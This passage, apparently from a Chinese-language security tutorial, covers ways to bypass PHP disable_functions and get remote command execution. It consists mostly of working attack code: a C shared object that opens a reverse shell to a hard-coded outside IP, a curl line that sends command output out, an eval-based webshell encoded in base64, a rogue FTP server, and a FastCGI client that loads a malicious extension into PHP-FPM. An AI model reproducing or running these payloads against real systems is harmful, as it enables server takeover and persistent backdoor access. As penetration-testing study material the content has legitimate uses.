$writable && $htaccess )) { echo "Error. All of the above must be true for the script to work!" ; } else { checkEnabled ("Backing up .htaccess" ,copy (".htaccess" ,".htaccess.bak" ),"Suceeded! Saved in .htaccess.bak" ,"Failed!" ); checkEnabled ("Write .htaccess file" ,file_put_contents ('.htaccess' ,"Options +ExecCGInAddHandler cgi-script .dizzle" ),"Succeeded!" ,"Failed!" ); checkEnabled ("Write shell file" ,file_put_contents ('shell.dizzle' ,$shellfile ),"Succeeded!" ,"Failed!" ); checkEnabled ("Chmod 777" ,chmod ("shell.dizzle" ,0777 ),"Succeeded!" ,"Failed!" ); echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>" ; } }?>
Json Serializer UAF ⭐参考: GitHub - mm0r1/exploits: Pwn stuff.
利用json序列化中的堆溢出触发,借以绕过disable_function,影响范围是
7.1 – all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
GC UAF 利用的是PHP garbage collector程序中的堆溢出触发,影响范围为7.0-1.3
Backtrace UAF 影响版本是7.0-7.4
FFI扩展 php>7.4,开启了FFI扩展ffi.enable=true,我们可以通过FFI来调用C中的system进而达到执行命令的目的
传入ffi.php。
1 2 3 4 5 6 7 <?php $ffi = FFI::cdef ("int system(const char *command);" );$ffi ->system ("whoami >/tmp/1" );echo file_get_contents ("/tmp/1" ); @unlink ("/tmp/1" );?>
ImageMagick 两种利用方式,第一种是执行外带
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php echo "Disable Functions: " . ini_get ('disable_functions' ) . "n" ;$command = PHP_SAPI == 'cli' ? $argv [1 ] : $_GET ['cmd' ];if ($command == '' ) { $command = 'curl xx.xx.xx.xx:9962/`whoami`' ; }$exploit = <<<EOF push graphic-context viewbox 0 0 640 480 fill 'url(http://IP:PORT/image.jpg"|$command ")' pop graphic-context EOF ;file_put_contents ("test.mvg" , $exploit );$thumb = new Imagick ();$thumb ->readImage ('test.mvg' );$thumb ->writeImage ('test.png' );$thumb ->clear ();$thumb ->destroy ();unlink ("test.mvg" );unlink ("test.png" );?>
监听即可。
第二种本质上还是LD_PRELOAD,原因在于Imagick()和mail()一样会启用新进程。上传exploit.so(反弹shell)与test.mo,然后执行代码:
1 backdoor = putenv("LD_PRELOAD=/tmp/79e3f0b59df431154c088db7e45ebe6b/exploit.so" )
开启新进程的过程中就会加载恶意so。
COM组件 仅适用于windows,开启com.allow_dcom = true,添加extension=php_com_dotnet.dll。
1 2 3 4 5 6 7 8 9 <?php $command = $_GET ['cmd' ];$wsh = new COM ('WScript.shell' ); $exec = $wsh ->exec ("cmd /c" .$command ); $stdout = $exec ->StdOut ();$stroutput = $stdout ->ReadAll ();echo $stroutput ;?>
PHP-FPM FPM有TCP模式与Unix Socket模式,这里利用TCP模式构造fastcgi协议与fpm通信, 开启PHP_ADMIN_VALUE来加载恶意so。
此利用方式主要需要解决的问题是
so的上传,需要目录写权限。
如何把二进制攻击流量打入fpm,我们知道gopher协议是支持转发二进制流量的,通常我们可以使用gopher+fpm利用curl实现ssrf rce,但是gopher协议受curl支持,不受php支持,要在php转发二进制流量需要借助FTP PASV mode。
若目标机器出网,则可以在vps上运行恶意ftp转发流量打fpm。(参考one pointer php )
若目标机器不出网,则只能在机器本地起恶意ftp。(参考make php great and great again )
目标出网 1.编写并上传恶意so
1 2 3 4 5 6 7 8 9 #define _GNU_SOURCE #include <stdlib.h> __attribute__ ((__constructor__)) void preload (void ) { system("bash -i >& /dev/tcp/101.33.203.2/4444 0>&1" ); }
1 gcc evil.c -o evil.so --shared -fPIC
写一个脚本ftp.php用于上传
1 2 3 4 5 6 7 8 <?php show_source (__FILE__ ); @mkdir ('test' );chdir ("test" );ini_set ("open_basedir" ,".." );chdir (".." );chdir (".." );chdir (".." );chdir (".." );ini_set ("open_basedir" ,"/" );$context = stream_context_create (array ('ftp' => array ('overwrite' => true ))); @var_dump (file_put_contents ($_GET ['url' ],$_POST ['payload' ],0 ,$context )); @eval ($_REQUEST ['code' ]);?>
base64编码并写入ftp.php
1 2 3 4 5 6 7 8 9 backdoor=file_put_contents('ftp.php' ,base64_decode('PD9waHAKc2hvd19zb3VyY2UoX19GSUxFX18pOwpAbWtkaXIoJ3Rlc3QnKTsKY2hkaXIoInRlc3QiKTtpbmlfc2V0KCJvcGVuX2Jhc2VkaXIiLCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2luaV9zZXQoIm9wZW5fYmFzZWRpciIsIi8iKTsKJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ2Z0cCcgPT4gYXJyYXkoJ292ZXJ3cml0ZScgPT4gdHJ1ZSkpKTsKQHZhcl9kdW1wKGZpbGVfcHV0X2NvbnRlbnRzKCRfR0VUWyd1cmwnXSwkX1BPU1RbJ3BheWxvYWQnXSwwLCRjb250ZXh0KSk7CkBldmFsKCRfUkVRVUVTVFsnY29kZSddKTsKPz4=' )); POST /ftp.php?url=ftp://aa:passwd@IP/test.txt HTTP/1.1 ............ payload=hello
传恶意so
1 2 3 4 5 from urllib.parse import quote c = quote(open ("evil.so" ,"rb" ).read())open ("payload.txt" ,"w" ).write(c)
2.vps运行evil_ftp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import socketprint ("[+] listening ..........." ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0' , 9999 )) s.listen(1 ) conn, addr = s.accept() conn.send(b'220 (vsFTPd 3.0.3)\r\n' )print (conn.recv(0xff )) conn.send(b'331 Please specify the password.\r\n' )print (conn.recv(0xff )) conn.send(b'230 Login successful.\r\n' )print (conn.recv(0xff )) conn.send(b'200 Switching to Binary mode.\r\n' )print (conn.recv(0xff )) conn.send(b"550 Could not get file size.\r\n" )print (conn.recv(0xff )) conn.send(b'000 use PASV then\r\n' )print (conn.recv(0xff )) conn.send(b'227 Entering Passive Mode (127,0,0,1,0,9001).\r\n' ) print (conn.recv(0xff )) conn.send(b'150 Ok to send data.\r\n' ) conn.send(b'226 Transfer complete.\r\n' )print (conn.recv(0xff )) conn.send(b'221 Goodbye.\r\n' ) conn.close()print ("[+] completed ~~" )
3.生成恶意fpm流量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 <?php class FCGIClient { const VERSION_1 = 1 ; const BEGIN_REQUEST = 1 ; const ABORT_REQUEST = 2 ; const END_REQUEST = 3 ; const PARAMS = 4 ; const STDIN = 5 ; const STDOUT = 6 ; const STDERR = 7 ; const DATA = 8 ; const GET_VALUES = 9 ; const GET_VALUES_RESULT = 10 ; const UNKNOWN_TYPE = 11 ; const MAXTYPE = self ::UNKNOWN_TYPE ; const RESPONDER = 1 ; const AUTHORIZER = 2 ; const FILTER = 3 ; const REQUEST_COMPLETE = 0 ; const CANT_MPX_CONN = 1 ; const OVERLOADED = 2 ; const UNKNOWN_ROLE = 3 ; const MAX_CONNS = 'MAX_CONNS' ; const MAX_REQS = 'MAX_REQS' ; const MPXS_CONNS = 'MPXS_CONNS' ; const HEADER_LEN = 8 ; private $_sock = null ; private $_host = null ; private $_port = null ; private $_keepAlive = false ; public function __construct ($host , $port = 9000 ) // and default value for port , just for unixdomain socket { $this ->_host = $host ; $this ->_port = $port ; } public function setKeepAlive ($b ) { $this ->_keepAlive = (boolean )$b ; if (!$this ->_keepAlive && $this ->_sock) { fclose ($this ->_sock); } } public function getKeepAlive ( ) { return $this ->_keepAlive; } private function connect ( ) { if (!$this ->_sock) { $this ->_sock = fsockopen ($this ->_host, $this ->_port, $errno , $errstr , 5 ); if (!$this ->_sock) { throw new Exception ('Unable to connect to FastCGI application' ); } } } private function buildPacket ($type , $content , $requestId = 1 ) { $clen = strlen ($content ); return chr (self ::VERSION_1 ) . chr ($type ) . chr (($requestId >> 8 ) & 0xFF ) . chr ($requestId & 0xFF ) . chr (($clen >> 8 ) & 0xFF ) . chr ($clen & 0xFF ) . chr (0 ) . chr (0 ) . $content ; } private function buildNvpair ($name , $value ) { $nlen = strlen ($name ); $vlen = strlen ($value ); if ($nlen < 128 ) { $nvpair = chr ($nlen ); } else { $nvpair = chr (($nlen >> 24 ) | 0x80 ) . chr (($nlen >> 16 ) & 0xFF ) . chr (($nlen >> 8 ) & 0xFF ) . chr ($nlen & 0xFF ); } if ($vlen < 128 ) { $nvpair .= chr ($vlen ); } else { $nvpair .= chr (($vlen >> 24 ) | 0x80 ) . chr (($vlen >> 16 ) & 0xFF ) . chr (($vlen >> 8 ) & 0xFF ) . chr ($vlen & 0xFF ); } return $nvpair . $name . $value ; } private function decodePacketHeader ($data ) { $ret = array (); $ret ['version' ] = ord ($data {0 }); $ret ['type' ] = ord ($data {1 }); $ret ['requestId' ] = (ord ($data {2 }) << 8 ) + ord ($data {3 }); $ret ['contentLength' ] = (ord ($data {4 }) << 8 ) + ord ($data {5 }); $ret ['paddingLength' ] = ord ($data {6 }); $ret ['reserved' ] = ord ($data {7 }); return $ret ; } private function readPacket ( ) { if ($packet = fread ($this ->_sock, self ::HEADER_LEN )) { $resp = $this ->decodePacketHeader ($packet ); $resp ['content' ] = '' ; if ($resp ['contentLength' ]) { $len = $resp ['contentLength' ]; while ($len && $buf =fread ($this ->_sock, $len )) { $len -= strlen ($buf ); $resp ['content' ] .= $buf ; } } if ($resp ['paddingLength' ]) { $buf =fread ($this ->_sock, $resp ['paddingLength' ]); } return $resp ; } else { return false ; } } public function request (array $params , $stdin ) { $response = '' ; $this ->connect (); $request = $this ->buildPacket (self ::BEGIN_REQUEST , chr (0 ) . chr (self ::RESPONDER ) . chr ((int ) $this ->_keepAlive) . str_repeat (chr (0 ), 5 )); $paramsRequest = '' ; foreach ($params as $key => $value ) { $paramsRequest .= $this ->buildNvpair ($key , $value ); } if ($paramsRequest ) { $request .= $this ->buildPacket (self ::PARAMS , $paramsRequest ); } $request .= $this ->buildPacket (self ::PARAMS , '' ); if ($stdin ) { $request .= $this ->buildPacket (self ::STDIN , $stdin ); } $request .= $this ->buildPacket (self ::STDIN , '' ); fwrite ($this ->_sock, $request ); do { $resp = $this ->readPacket (); if ($resp ['type' ] == self ::STDOUT || $resp ['type' ] == self ::STDERR ) { $response .= $resp ['content' ]; } } while ($resp && $resp ['type' ] != self ::END_REQUEST ); if (!is_array ($resp )) { throw new Exception ('Bad request' ); } switch (ord ($resp ['content' ]{4 })) { case self ::CANT_MPX_CONN : throw new Exception ('This app can not multiplex [CANT_MPX_CONN]' ); break ; case self ::OVERLOADED : throw new Exception ('New request rejected; too busy [OVERLOADED]' ); break ; case self ::UNKNOWN_ROLE : throw new Exception ('Role value not known [UNKNOWN_ROLE]' ); break ; case self ::REQUEST_COMPLETE : return $response ; } } }?> <?php $ext_dir_path = '/tmp/' ;$ext_name = 'evil.so' ; $connect_path = '127.0.0.1' ;$port = "9000" ;$filepath = '/var/www/html/index.php' ;$prepend_file_path = '/tmp/1.txt' ;$req = '/' . basename ($filepath );$uri = $req ;$client = new FCGIClient ($connect_path , $port );$php_value = "allow_url_include = Onnopen_basedir = /nauto_prepend_file = " . $prepend_file_path ;$php_admin_value = "extension_dir=" . $ext_dir_path . "nextension=" . $ext_name ;$params = array ( 'GATEWAY_INTERFACE' => 'FastCGI/1.0' , 'REQUEST_METHOD' => 'GET' , 'SCRIPT_FILENAME' => $filepath , 'SCRIPT_NAME' => $req , 'REQUEST_URI' => $uri , 'DOCUMENT_URI' => $req , 'PHP_VALUE' => $php_value , 'PHP_ADMIN_VALUE' => $php_admin_value , 'SERVER_SOFTWARE' => 'kaibro-fastcgi-rce' , 'REMOTE_ADDR' => '127.0.0.1' , 'REMOTE_PORT' => '9985' , 'SERVER_ADDR' => '127.0.0.1' , 'SERVER_PORT' => '80' , 'SERVER_NAME' => 'localhost' , 'SERVER_PROTOCOL' => 'HTTP/1.1' , );echo "Call: $urinn " ;echo $client ->request ($params , NULL );?>
4.利用file_put_contents()传payload到vps-ftp并转发到本地fpm
1 2 3 POST /ftp.php?url=ftp://vps:9999/code.txt HTTP/1.1 ............ payload=<恶意fpm流量>
执行指令后反弹shell。
目标不出网 与出网的区别就在于要在本地开一个evil_ftp转发流量,下面是php版本的evil_ftp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php $socket = stream_socket_server ("tcp://0.0.0.0:9999" , $errno , $errstr );if (!$socket ) { echo "$errstr ($errno )<br />\n" ; } else { print_r ("[+] listening .......\n" ); while ($conn = stream_socket_accept ($socket )) { print_r ("[+] catch .......\n" ); fwrite ($conn , "220 (vsFTPd 3.0.3)\r\n" ); echo fgets ($conn ); fwrite ($conn , "331 Please specify the password.\r\n" ); echo fgets ($conn ); fwrite ($conn , "230 Login successful.\r\n" ); echo fgets ($conn ); fwrite ($conn , "200 Switching to Binary mode.\r\n" ); echo fgets ($conn ); fwrite ($conn , "550 Could not get file size.\r\n" ); echo fgets ($conn ); fwrite ($conn , "000 use PASV then\r\n" ); echo fgets ($conn ); fwrite ($conn , "227 Entering Passive Mode (127,0,0,1,0,11451).\r\n" ); echo fgets ($conn ); fwrite ($conn , "150 Ok to send data.\r\n" ); fwrite ($conn , "226 Transfer complete.\r\n" ); echo fgets ($conn ); fwrite ($conn , "221 Goodbye.\r\n" ); fclose ($conn ); print_r ("[+] completed ~~\n" ); } fclose ($socket ); }?>
访问脚本跑起来之后其余步骤与出网相同,不再赘述
1 2 3 POST /ftp.php?url=ftp:... ... ... ... payload=<恶意fpm流量>